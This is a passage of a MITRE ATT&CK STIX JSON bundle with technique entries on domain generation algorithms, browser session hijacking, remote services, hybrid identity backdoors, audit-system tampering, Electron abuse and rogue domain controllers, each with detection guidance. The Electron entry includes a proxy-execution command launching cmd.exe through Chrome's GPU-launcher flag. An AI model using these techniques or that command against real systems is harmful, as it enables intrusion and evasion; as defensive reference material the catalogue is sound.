                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
                },
                {
                    "source_name": "Elastic Predicting DGA",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:33.251Z",
            "name": "Domain Generation Algorithms",
            "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sylvain Gil, Exabeam",
                "Barry Shteiman, Exabeam",
                "Ryan Benson, Exabeam"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1185",
                    "external_id": "T1185"
                },
                {
                    "source_name": "Wikipedia Man in the Browser",
                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
                },
                {
                    "source_name": "Cobalt Strike Browser Pivot",
                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
                    "url": "https://www.cobaltstrike.com/help-browser-pivoting"
                },
                {
                    "source_name": "ICEBRG Chrome Extensions",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
                },
                {
                    "source_name": "cobaltstrike manual",
                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                    "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:33.428Z",
            "name": "Browser Session Hijacking",
            "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Justin Warner, ICEBRG"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
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                "Process: Process Access",
                "Logon Session: Logon Session Creation"
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            "type": "attack-pattern",
            "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
            "created": "2017-05-31T21:30:29.858Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1021",
                    "external_id": "T1021"
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                {
                    "source_name": "Apple Remote Desktop Admin Guide 3.3",
                    "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.",
                    "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"
                },
                {
                    "source_name": "Remote Management MDM macOS",
                    "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.",
                    "url": "https://support.apple.com/en-us/HT209161"
                },
                {
                    "source_name": "Kickstart Apple Remote Desktop commands",
                    "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.",
                    "url": "https://support.apple.com/en-us/HT201710"
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                {
                    "source_name": "Lockboxx ARD 2019",
                    "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.",
                    "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"
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                {
                    "source_name": "FireEye 2019 Apple Remote Desktop",
                    "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"
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                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
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                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
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                {
                    "source_name": "SSH Secure Shell",
                    "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.",
                    "url": "https://www.ssh.com/ssh"
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            "name": "Remote Services",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
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            "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)",
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                    "url": "https://attack.mitre.org/techniques/T1071/003",
                    "external_id": "T1071.003"
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                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "external_id": "T1556.007"
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                {
                    "source_name": "Azure AD Connect for Read Teamers",
                    "description": "Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022.",
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                },
                {
                    "source_name": "AADInternals Azure AD On-Prem to Cloud",
                    "description": "Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.",
                    "url": "https://o365blog.com/post/on-prem_admin/"
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                    "source_name": "MagicWeb",
                    "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.",
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                    "source_name": "Azure AD Hybrid Identity",
                    "description": "Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022.",
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                    "source_name": "Mandiant Azure AD Backdoors",
                    "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.",
                    "url": "https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"
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            "description": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.  \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
            "created": "2020-10-02T16:55:16.047Z",
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                    "url": "https://attack.mitre.org/techniques/T1595/002",
                    "external_id": "T1595.002"
                },
                {
                    "source_name": "OWASP Vuln Scanning",
                    "description": "OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.",
                    "url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning"
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            "name": "Vulnerability Scanning",
            "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
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            "description": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).  \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.  ",
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                {
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                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
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                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
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                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
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            "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
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            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3",
            "created": "2024-03-07T19:32:35.383Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/015",
                    "external_id": "T1218.015"
                },
                {
                    "source_name": "Electron 3",
                    "description": "Alanna Titterington. (2023, September 14). Security of Electron-based desktop applications. Retrieved March 7, 2024.",
                    "url": "https://www.kaspersky.com/blog/electron-framework-security-issues/49035/"
                },
                {
                    "source_name": "Electron Security",
                    "description": "ElectronJS.org. (n.d.). Retrieved March 7, 2024.",
                    "url": "https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules"
                },
                {
                    "source_name": "Electron 6-8",
                    "description": "Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved March 7, 2024.",
                    "url": "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf"
                },
                {
                    "source_name": "Electron 1",
                    "description": "TOM ABAI. (2023, August 10). There\u2019s a New Stealer Variant in Town, and It\u2019s Using Electron to Stay Fully Undetected. Retrieved March 7, 2024.",
                    "url": "https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/"
                },
                {
                    "source_name": "Electron 2",
                    "description": "Trend Micro. (2023, June 6). Abusing Electronbased applications in targeted attacks. Retrieved March 7, 2024.",
                    "url": "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf"
                }
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            "modified": "2025-04-15T22:24:54.174Z",
            "name": "Electron Applications",
            "description": "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).(Citation: Electron 6-8)\n\nAdversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Debabrata Sharma"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
                "Linux"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "Process: Process Creation"
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            "type": "attack-pattern",
            "id": "attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054",
            "created": "2023-05-24T19:03:03.855Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/012",
                    "external_id": "T1562.012"
                },
                {
                    "source_name": "IzyKnows auditd threat detection 2022",
                    "description": "IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023.",
                    "url": "https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505"
                },
                {
                    "source_name": "Red Hat System Auditing",
                    "description": "Jahoda, M. et al.. (2017, March 14). Red Hat  Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
                },
                {
                    "source_name": "ESET Ebury Feb 2014",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
                },
                {
                    "source_name": "Trustwave Honeypot SkidMap 2023",
                    "description": "Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant of SkidMap Targeting Redis. Retrieved September 29, 2023.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/"
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            "modified": "2025-04-15T22:20:10.121Z",
            "name": "Disable or Modify Linux Audit System",
            "description": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tim (Wadhwa-)Brown"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "File: File Modification",
                "Command: Command Execution",
                "File: File Deletion",
                "Process: Process Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1207",
                    "external_id": "T1207"
                },
                {
                    "source_name": "DCShadow Blog",
                    "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
                    "url": "https://www.dcshadow.com/"
                },
                {
                    "source_name": "Adsecurity Mimikatz Guide",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?page_id=1821"
                },
                {
                    "source_name": "GitHub DCSYNCMonitor",
                    "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.",
                    "url": "https://github.com/shellster/DCSYNCMonitor"
                },
                {
                    "source_name": "Microsoft DirSync",
                    "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx"
                },
                {
                    "source_name": "ADDSecurity DCShadow Feb 2018",
                    "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
                    "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
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            "modified": "2025-04-25T15:15:34.258Z",
            "name": "Rogue Domain Controller",
            "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
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                    "phase_name": "defense-evasion"
                }
            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Modification",
                "Network Traffic: Network Traffic Content",
                "User Account: User Account Authentication",
                "Active Directory: Active Directory Object Creation"
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        },
        {
            "type": "attack-pattern",
